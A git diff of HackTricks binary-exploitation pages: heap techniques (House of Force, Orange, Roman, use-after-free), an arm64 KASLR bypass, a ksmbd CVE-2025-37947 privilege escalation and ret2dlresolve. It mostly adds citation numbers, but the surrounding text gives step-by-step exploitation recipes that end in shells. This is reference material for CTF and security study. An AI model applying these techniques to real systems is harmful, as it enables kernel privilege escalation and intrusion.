- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
-- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
+- [8] [Nightmare - House of Force (BKP16 cookbook)](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
diff --git a/src/binary-exploitation/libc-heap/house-of-orange.md b/src/binary-exploitation/libc-heap/house-of-orange.md
index 311e919a75b..87d7ced8f3a 100644
--- a/src/binary-exploitation/libc-heap/house-of-orange.md
+++ b/src/binary-exploitation/libc-heap/house-of-orange.md
@@ -25,11 +25,11 @@ Some needed background from the comments from [**this example**](https://guyinat
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
-Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
+Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution[[2]](#references)
### Attack
-The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
+The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.[[1]](#references)
To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
@@ -69,8 +69,8 @@ This approach exploits heap management mechanisms, libc information leaks, and h
## References
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
-- [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
+- [1] [CTF-wiki - House of Orange](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
+- [2] [Nightmare - House of Orange (guyinatuxedo)](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index 2c1b755a390..a375e8cd9bd 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -4,7 +4,7 @@
## Basic Information
-This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has been [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
+This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has been [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).[[7]](#references)
### Applicability in 2026
@@ -14,7 +14,7 @@ This was a very interesting technique that allowed for RCE without leaks via fak
### Code
-- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
+- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[[2]](#references)
### Goal
@@ -67,7 +67,7 @@ Then, `main_arena + 0x68` is not that interesting, so let's modify it so the poi
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where we are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
-(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the brute force fails the program just crashes (restart until it works).
+(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).[[2]](#references) If the brute force fails the program just crashes (restart until it works).
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and a third one is allocated to get a chunk in **`__malloc_hook`**.
@@ -111,7 +111,7 @@ In step one we controlled a chunk containing `__malloc_hook` (in the variable `m
Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there (`main_arena + 0x68`) to **point to a `one_gadget` address**.
-Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).
+Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)).[[2]](#references)
Finally, once the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
@@ -119,16 +119,16 @@ Finally, once the correct address is overwritten, **call `malloc` and trigger th
- **Unsorted-bin hardening (2.28+):** The extra integrity checks on unsorted chunks (size sanity + list linkage) make the classic unsorted‑bin write fragile. To survive `_int_malloc`, you must keep `fd/bk` links consistent and sizes plausible, which usually requires stronger primitives than a simple partial overwrite.
- **Hook removal (2.34+):** With `__malloc_hook` gone, adapt the primitive to land on any writable GOT/global you can later reuse (e.g., overwrite `exit@GOT` in non-PIE binaries) or pivot to a **House of Pie** style top‑chunk hijack to control `top` instead of a hook.
-- **Any‑address fastbin alloc (romanking98 writeup):** The second part shows repairing the 0x71 freelist and using the unsorted‑bin write to land a fastbin allocation over `__free_hook`, then placing `system("/bin/sh")` and triggering it via `free()` on libc‑2.24 (pre-hook removal).
+- **Any‑address fastbin alloc (romanking98 writeup):** The second part shows repairing the 0x71 freelist and using the unsorted‑bin write to land a fastbin allocation over `__free_hook`, then placing `system("/bin/sh")` and triggering it via `free()` on libc‑2.24 (pre-hook removal).[[5]](#references)
## References
-- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
-- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_roman/)
-- [https://halloween.synacktiv.com/publications/heap-tricks-never-get-old-insomnihack-teaser-2022.html](https://halloween.synacktiv.com/publications/heap-tricks-never-get-old-insomnihack-teaser-2022.html)
-- [https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc](https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc)
-- [https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=NEWS;hb=glibc-2.34](https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=NEWS;hb=glibc-2.34)
-- [https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)
+- [1] [shellphish/how2heap](https://github.com/shellphish/how2heap)
+- [2] [how2heap - house_of_roman.c (glibc 2.23)](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
+- [3] [CTF Wiki - House of Roman](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_roman/)
+- [4] [Heap tricks never get old - Insomni'hack Teaser 2022 (Synacktiv)](https://halloween.synacktiv.com/publications/heap-tricks-never-get-old-insomnihack-teaser-2022.html)
+- [5] [House of Roman writeup (romanking98 gist)](https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc)
+- [6] [glibc 2.34 NEWS](https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=NEWS;hb=glibc-2.34)
+- [7] [glibc commit b90ddd0 - unsorted bin integrity checks](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
index afae20d9bdb..92ec29b79cf 100644
--- a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
+++ b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
@@ -51,7 +51,7 @@ Version notes:
- **glibc 2.32+** added **safe-linking**, so a forged `next` / `fd` usually needs a heap leak or another bypass before `malloc()` will accept it.
- **glibc 2.29 - 2.33** exposed a particularly strong target in the tcache `key` field because it pointed to `tcache_perthread_struct` (House of IO style abuse).
-- **glibc 2.34+** changed that behaviour, so modern UAF chains more commonly pivot to **House of Water / metadata control**, leak-and-poison, or application-specific overwrites instead of relying on the old tcache-key trick.
+- **glibc 2.34+** changed that behaviour, so modern UAF chains more commonly pivot to **House of Water / metadata control**, leak-and-poison, or application-specific overwrites instead of relying on the old tcache-key trick.[[2]](#references)
A very common modern sequence is actually **read-after-free first, write-after-free second**:
@@ -65,7 +65,7 @@ For a tcache entry, the stored forward pointer is protected with the address whe
stored_next = target ^ (((size_t) &entry->next) >> 12);
```
-Therefore, a freed-chunk **read** is often just as valuable as a freed-chunk **write**. If the bug lets you print or otherwise inspect the freed entry before rewriting it, you may be able to recover the heap base (or use a `decrypt_safe_linking`-style helper) and turn a blocked UAF into a valid modern poisoning primitive.
+Therefore, a freed-chunk **read** is often just as valuable as a freed-chunk **write**. If the bug lets you print or otherwise inspect the freed entry before rewriting it, you may be able to recover the heap base (or use a `decrypt_safe_linking`-style helper) and turn a blocked UAF into a valid modern poisoning primitive.[[2]](#references)
If you need the attack details after getting the primitive, continue in:
@@ -140,7 +140,7 @@ off-by-one-overflow.md
- On **safe-linked** targets, “I can write into a freed tcache chunk” is no longer the same as “I immediately have arbitrary allocation”. First verify whether you can also **leak the heap**, **decode a protected pointer**, or pivot into **tcache metadata** instead of forging a raw `next`.
- If the freed chunk is in **small/unsorted/large bins** instead of tcache, the best follow-up is often **not** classic tcache poisoning but abusing the doubly linked metadata on the next allocator transition.
- Some recent techniques specifically avoid forging protected freelist pointers and instead aim for **metadata corruption** (`tcache_perthread_struct`, bin counters, stashing paths, large-bin side pointers).
-- On recent glibc, do not blindly assume that “large chunk == unsorted/small/large bin”: raising `glibc.malloc.tcache_max` can keep much larger frees inside tcache, so always inspect the real runtime state while developing the exploit.
+- On recent glibc, do not blindly assume that “large chunk == unsorted/small/large bin”: raising `glibc.malloc.tcache_max` can keep much larger frees inside tcache, so always inspect the real runtime state while developing the exploit.[[3]](#references)
## Quick triage on modern glibc
@@ -171,8 +171,8 @@ That does **not** describe the remote target by itself, but it is a very practic
## References
-- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
-- [https://corgi.rip/posts/leakless_heap_1/](https://corgi.rip/posts/leakless_heap_1/)
-- [https://sourceware.org/pipermail/libc-alpha/2025-July/168496.html](https://sourceware.org/pipermail/libc-alpha/2025-July/168496.html)
+- [1] [how2heap (shellphish)](https://github.com/shellphish/how2heap)
+- [2] [Leakless Heap Exploitation - The House of Water](https://corgi.rip/posts/leakless_heap_1/)
+- [3] [NEWS: Mention tcache improvements (glibc libc-alpha)](https://sourceware.org/pipermail/libc-alpha/2025-July/168496.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
index d5be26d64cc..5e2c611b48f 100644
--- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
+++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
@@ -4,7 +4,7 @@
## **First Fit**
-When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
+When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.[[1]](#references)
### Unsorted Bins
@@ -54,7 +54,7 @@ On current glibc, "first fit" is still useful, but it is **not** the whole alloc
2. **Exact fits found in the unsorted bin may be diverted into tcache first** while glibc is filling the per-thread cache.
3. For **small requests**, glibc has a special `last_remainder` path that can be used before the generic unsorted-bin walk.
4. Very large requests can be served with **`mmap`** instead of the arena heap, so there may be no reusable unsorted chunk at all.
-5. On **glibc 2.42+**, tcache can optionally cache much larger chunks if `glibc.malloc.tcache_max` is raised, so "`> 0x410` means unsorted" is no longer a safe assumption on tuned targets.
+5. On **glibc 2.42+**, tcache can optionally cache much larger chunks if `glibc.malloc.tcache_max` is raised, so "`> 0x410` means unsorted" is no longer a safe assumption on tuned targets.[[3]](#references)
In practice, a first-fit primitive is easiest to reproduce when:
@@ -117,12 +117,12 @@ This is what recent CTFs tend to do. A common pattern is:
4. Let glibc split it and leave the **remainder** in the unsorted bin.
5. Reuse a still-reachable pointer that now overlaps the remainder and read its `fd`/`bk` pointers for a libc leak, or write through it to prepare a later tcache/fastbin attack.
-In other words, modern first-fit is usually the **reuse/split stage** inside a longer chain, not the whole exploit by itself. The 2024 AngstromCTF `heapify` write-up is a good example: unsorted-bin splitting is used after a metadata corruption to keep a libc-bearing remainder overlapping attacker-controlled data. The HITCON 2024 `setjmp` write-up is another good reminder that you often need extra heap grooming just to get the allocator into the right state before the first-fit primitive becomes reachable.
+In other words, modern first-fit is usually the **reuse/split stage** inside a longer chain, not the whole exploit by itself. The 2024 AngstromCTF `heapify` write-up is a good example: unsorted-bin splitting is used after a metadata corruption to keep a libc-bearing remainder overlapping attacker-controlled data. The HITCON 2024 `setjmp` write-up is another good reminder that you often need extra heap grooming just to get the allocator into the right state before the first-fit primitive becomes reachable.[[1]](#references)[[2]](#references)
Two recurring modern patterns are:
-- **Remainder-preserving overlap**: corrupt a free chunk size, ask for a slightly smaller allocation, and keep a still-reachable pointer into the unsorted **remainder**. `heapify` uses this to leave libc pointers (`fd`/`bk`) readable after the split and then pivots into a later [Tcache Bin Attack](../tcache-bin-attack.md).
-- **Leak-preserving reallocation**: force a libc-bearing chunk into a reusable bin, then reallocate it through an application path that writes only a few bytes (or nothing) so the leaked arena pointer survives inside the recycled region. `setjmp` reaches this state after extra heap grooming and a `malloc_consolidate()`-driven libc leak.
+- **Remainder-preserving overlap**: corrupt a free chunk size, ask for a slightly smaller allocation, and keep a still-reachable pointer into the unsorted **remainder**. `heapify` uses this to leave libc pointers (`fd`/`bk`) readable after the split and then pivots into a later [Tcache Bin Attack](../tcache-bin-attack.md).[[2]](#references)
+- **Leak-preserving reallocation**: force a libc-bearing chunk into a reusable bin, then reallocate it through an application path that writes only a few bytes (or nothing) so the leaked arena pointer survives inside the recycled region. `setjmp` reaches this state after extra heap grooming and a `malloc_consolidate()`-driven libc leak.[[1]](#references)
If what you really control is the unsorted-bin metadata rather than the recycled user area, check [Unsorted Bin Attack](../unsorted-bin-attack.md) instead. First fit often gives you the reusable chunk; the actual arbitrary write may come from a later primitive.
@@ -143,9 +143,9 @@ If what you really control is the unsorted-bin metadata rather than the recycled
## References
-- [https://blog.quarkslab.com/heap-exploitation-glibc-internals-and-nifty-tricks.html](https://blog.quarkslab.com/heap-exploitation-glibc-internals-and-nifty-tricks.html)
-- [https://hackmd.io/@aneii11/H1S2snV40](https://hackmd.io/@aneii11/H1S2snV40)
-- [https://lists.gnu.org/archive/html/info-gnu/2025-07/msg00011.html](https://lists.gnu.org/archive/html/info-gnu/2025-07/msg00011.html)
+- [1] [Heap exploitation, glibc internals and nifty tricks](https://blog.quarkslab.com/heap-exploitation-glibc-internals-and-nifty-tricks.html)
+- [2] [Angstrom CTF 2024 - Pwnable write-up (heapify)](https://hackmd.io/@aneii11/H1S2snV40)
+- [3] [The GNU C Library version 2.42 is now available](https://lists.gnu.org/archive/html/info-gnu/2025-07/msg00011.html)
diff --git a/src/binary-exploitation/linux-kernel-exploitation/arm64-static-linear-map-kaslr-bypass.md b/src/binary-exploitation/linux-kernel-exploitation/arm64-static-linear-map-kaslr-bypass.md
index 4beb9408fb7..2a890d9d053 100644
--- a/src/binary-exploitation/linux-kernel-exploitation/arm64-static-linear-map-kaslr-bypass.md
+++ b/src/binary-exploitation/linux-kernel-exploitation/arm64-static-linear-map-kaslr-bypass.md
@@ -15,7 +15,7 @@ As a consequence, **every physical page has a deterministic linear-map virtual a
#define phys_to_virt(p) (((unsigned long)(p) - 0x80000000UL) | 0xffffff8000000000UL)
```
-If an attacker can learn or influence a physical address (kernel object, PFN from `/proc/pagemap`, or even a user-controlled page), they instantly know the corresponding kernel virtual address without leaking the randomized primary kernel mapping.
+If an attacker can learn or influence a physical address (kernel object, PFN from `/proc/pagemap`, or even a user-controlled page), they instantly know the corresponding kernel virtual address without leaking the randomized primary kernel mapping.[[1]](#references)
## Reading `memstart_addr` and confirming the transform
@@ -27,7 +27,7 @@ grep memstart /proc/kallsyms
./bpf_arb_read 8
```
-The bytes `00 00 00 80 00 00 00 00` confirm `memstart_addr = 0x80000000`. Once `PAGE_OFFSET` and `PHYS_OFFSET` are pinned, the arm64 linear map is a static affine transform of any physical address.
+The bytes `00 00 00 80 00 00 00 00` confirm `memstart_addr = 0x80000000`. Once `PAGE_OFFSET` and `PHYS_OFFSET` are pinned, the arm64 linear map is a static affine transform of any physical address.[[1]](#references)
## Deriving stable `.data` addresses on devices with a fixed kernel physbase
@@ -40,7 +40,7 @@ Many Pixels still decompress the kernel at **`phys_kernel_base = 0x80010000`** o
Example (`modprobe_path` on a Pixel 9): `offset = 0x1fe2398`, `phys = 0x81ff2398`, `virt = 0xffffff8001ff2398`. After multiple reboots, `bpf_arb_read 0xffffff8001ff2398` returns the same bytes, so exploit payloads can treat `0xffffff8000010000` as a synthetic, non-randomized base for all `.data` offsets.
-This mapping is **RW**, so any primitive that can place attacker data in kernel virtual space (double free, UAF, non-paged heap write, etc.) can patch credentials, LSM hooks, or dispatch tables without ever leaking the true KASLR slide. The only limitation is that `.text` is mapped non-executable in the linear map, so gadget hunting still requires a traditional leak.
+This mapping is **RW**, so any primitive that can place attacker data in kernel virtual space (double free, UAF, non-paged heap write, etc.) can patch credentials, LSM hooks, or dispatch tables without ever leaking the true KASLR slide. The only limitation is that `.text` is mapped non-executable in the linear map, so gadget hunting still requires a traditional leak.[[1]](#references)
## PFN spraying when the kernel physbase is randomized
@@ -54,7 +54,7 @@ Vendors such as Samsung randomize the kernel load PFN, but the static linear map
- `virt = phys_to_virt(phys)`
5. **Forge kernel objects in those pages** and steer victim pointers (UAF, overflow, etc.) to the known linear-map addresses.
-Because the linear map is identity-mapped RW memory, this technique lets you place fully attacker-controlled data at deterministic kernel VAs even when the real kernel base moves. Exploits can prebuild fake `file_operations`, `cred`, or refcount structures inside the sprayed pages and then pivot existing kernel pointers into them.
+Because the linear map is identity-mapped RW memory, this technique lets you place fully attacker-controlled data at deterministic kernel VAs even when the real kernel base moves. Exploits can prebuild fake `file_operations`, `cred`, or refcount structures inside the sprayed pages and then pivot existing kernel pointers into them.[[1]](#references)
## Practical workflow for arm64 Android exploits
@@ -70,10 +70,10 @@ Because the linear map is identity-mapped RW memory, this technique lets you pla
4. **Verification**
- Use `bpf_arb_read` or any safe read primitive to sanity-check that the computed address contains the expected bytes before destructive writes.
-This workflow eliminates the KASLR-leak stage for data-centric kernel exploits on Android, which drastically lowers exploit complexity and improves reliability.
+This workflow eliminates the KASLR-leak stage for data-centric kernel exploits on Android, which drastically lowers exploit complexity and improves reliability.[[1]](#references)
## References
-- [Project Zero - Defeating arm64 Linux KASLR by Exploiting the Static Linear Map and Kernel Physical Placement on Android](https://projectzero.google/2025/11/defeating-kaslr-by-doing-nothing-at-all.html)
+- [1] [Project Zero - Defeating arm64 Linux KASLR by Exploiting the Static Linear Map and Kernel Physical Placement on Android](https://projectzero.google/2025/11/defeating-kaslr-by-doing-nothing-at-all.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md b/src/binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md
index 8bd193005ad..29155867437 100644
--- a/src/binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md
+++ b/src/binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-This page documents a deterministic out-of-bounds write in ksmbd streams handling that enables a reliable Linux kernel privilege escalation on Ubuntu 22.04 LTS (5.15.0-153-generic), bypassing KASLR, SMEP, and SMAP using standard kernel heap primitives (msg_msg + pipe_buffer).
+This page documents a deterministic out-of-bounds write in ksmbd streams handling that enables a reliable Linux kernel privilege escalation on Ubuntu 22.04 LTS (5.15.0-153-generic), bypassing KASLR, SMEP, and SMAP using standard kernel heap primitives (msg_msg + pipe_buffer).[[1]](#references)
- Affected component: fs/ksmbd/vfs.c — ksmbd_vfs_stream_write()
- Primitive: page-overflow OOB write past a 0x10000-byte kvmalloc() buffer
@@ -19,12 +19,12 @@ Example smb.conf
Root cause (allocation clamped, memcpy at unclamped offset)
- The function computes size = *pos + count, clamps size to XATTR_SIZE_MAX (0x10000) when exceeded, and recomputes count = (*pos + count) - 0x10000, but still performs memcpy(&stream_buf[*pos], buf, count) into a 0x10000-byte buffer. If *pos ≥ 0x10000 the destination pointer is already outside the allocation, producing an OOB write of count bytes.
-- `streams_xattr` stores SMB alternate data streams inside POSIX extended attributes, so the 0x10000 ceiling comes from the Linux single-xattr size limit rather than from an SMB protocol field. That makes the bug practical only when the share explicitly enables `vfs objects = streams_xattr` and the filesystem supports xattrs.
+- `streams_xattr` stores SMB alternate data streams inside POSIX extended attributes, so the 0x10000 ceiling comes from the Linux single-xattr size limit rather than from an SMB protocol field. That makes the bug practical only when the share explicitly enables `vfs objects = streams_xattr` and the filesystem supports xattrs.[[1]](#references)
Why the write offset matters
- The vulnerable path is not just "write more than 64KiB". The missing check was that `*pos` was not validated against the current stream length (`v_len`) before the append/copy logic ran.
-- Upstream fixed this by rejecting writes where `*pos >= v_len` with `-EINVAL`. Pre-fix, an attacker could reuse a valid authenticated handle to a named stream and send a raw SMB2 WRITE whose `file_offset` already points at or past the end of the existing stream, which turns the post-clamp `memcpy()` into a deterministic page overflow.
-- The public PoC demonstrates this by authenticating with `libsmb2`, opening a stream path such as `1337:`, extracting `SessionId`/`TreeId`/`FileId`, and then sending a handcrafted SMB2 WRITE with `file_offset = 0x10018` and a small `Length`.
+- Upstream fixed this by rejecting writes where `*pos >= v_len` with `-EINVAL`. Pre-fix, an attacker could reuse a valid authenticated handle to a named stream and send a raw SMB2 WRITE whose `file_offset` already points at or past the end of the existing stream, which turns the post-clamp `memcpy()` into a deterministic page overflow.[[1]](#references)[[2]](#references)
+- The public PoC demonstrates this by authenticating with `libsmb2`, opening a stream path such as `1337:`, extracting `SessionId`/`TreeId`/`FileId`, and then sending a handcrafted SMB2 WRITE with `file_offset = 0x10018` and a small `Length`.[[1]](#references)[[3]](#references)Vulnerable function snippet (ksmbd_vfs_stream_write)
@@ -91,7 +91,7 @@ What to trace while tuning
- `load_msg`/`kretprobe:load_msg` lets you estimate how many `msg_msgseg` allocations are attached to each sprayed message, which is useful when tuning primary/secondary message sizes for a specific kernel build.
- If the exploit is ported to a different distro/kernel, re-check cache names, inline `msg_msg` payload sizes, `anon_pipe_buf_ops` offsets, and gadget addresses rather than assuming the Ubuntu 22.04 LTS `5.15.0-153-generic` constants still match.
-Exploitation plan (msg_msg + pipe_buffer), adapted from CVE-2021-22555
+Exploitation plan (msg_msg + pipe_buffer), adapted from CVE-2021-22555[[1]](#references)
1) Spray many System V msg_msg primary/secondary messages (4KiB-sized to fit kmalloc-cg-4k).
2) Trigger ksmbd OOB to corrupt a primary message’s next pointer so that two primaries share one secondary.
3) Detect the corrupted pair by tagging queues and scanning with msgrcv(MSG_COPY) to find mismatched tags.
@@ -115,7 +115,7 @@ Key parameters to tune
- Number of UNIX socket, sk_buff, and pipe_buffer sprays during each stage
Mitigations and reachability
-- Fix: clamp both allocation and destination/length or bound memcpy against the allocated size; upstream patches track as CVE-2025-37947.
+- Fix: clamp both allocation and destination/length or bound memcpy against the allocated size; upstream patches track as CVE-2025-37947.[[2]](#references)
- Remote exploitation would additionally require a reliable infoleak and remote heap grooming; this write-up focuses on local LPE.
See also
@@ -130,8 +130,8 @@ References PoC and tooling
- Minimal reachability PoC and full local exploit are publicly available (see References)
## References
-- [ksmbd - Exploiting CVE-2025-37947 (3/3) — Doyensec](https://blog.doyensec.com/2025/10/08/ksmbd-3.html)
-- [Linux upstream fix: `ksmbd: prevent out-of-bounds stream writes by validating *pos`](https://github.com/torvalds/linux/commit/0ca6df4f40cf4c32487944aaf48319cb6c25accc)
-- [KSMBD-CVE-2025-37947 PoC repository](https://github.com/doyensec/KSMBD-CVE-2025-37947)
+- [1] [ksmbd - Exploiting CVE-2025-37947 (3/3) — Doyensec](https://blog.doyensec.com/2025/10/08/ksmbd-3.html)
+- [2] [Linux upstream fix: `ksmbd: prevent out-of-bounds stream writes by validating *pos`](https://github.com/torvalds/linux/commit/0ca6df4f40cf4c32487944aaf48319cb6c25accc)
+- [3] [KSMBD-CVE-2025-37947 PoC repository](https://github.com/doyensec/KSMBD-CVE-2025-37947)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
index a8e80f3f7c0..528c164ac86 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
@@ -15,14 +15,14 @@ Usually, all these structures are faked by making an **initial ROP chain that ca
> [!TIP]
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/index.html) or [SROP](srop-sigreturn-oriented-programming/index.html)) and there are't ways to leak libc addresses.
-Chek this video for a nice explanation about this technique in the second half of the video:
+Chek this video for a nice explanation about this technique in the second half of the video:[[1]](#references)
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
-Or check these pages for a step-by-step explanation:
+Or check these pages for a step-by-step explanation:[[2]](#references)[[4]](#references)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
@@ -61,7 +61,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
### Pure Pwntools
-You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
+You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:[[5]](#references)
```python
from pwn import *
@@ -190,11 +190,14 @@ target.send(paylaod2)
target.interactive()
```
-## Other Examples & References
+## References
-- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
-- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
-- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
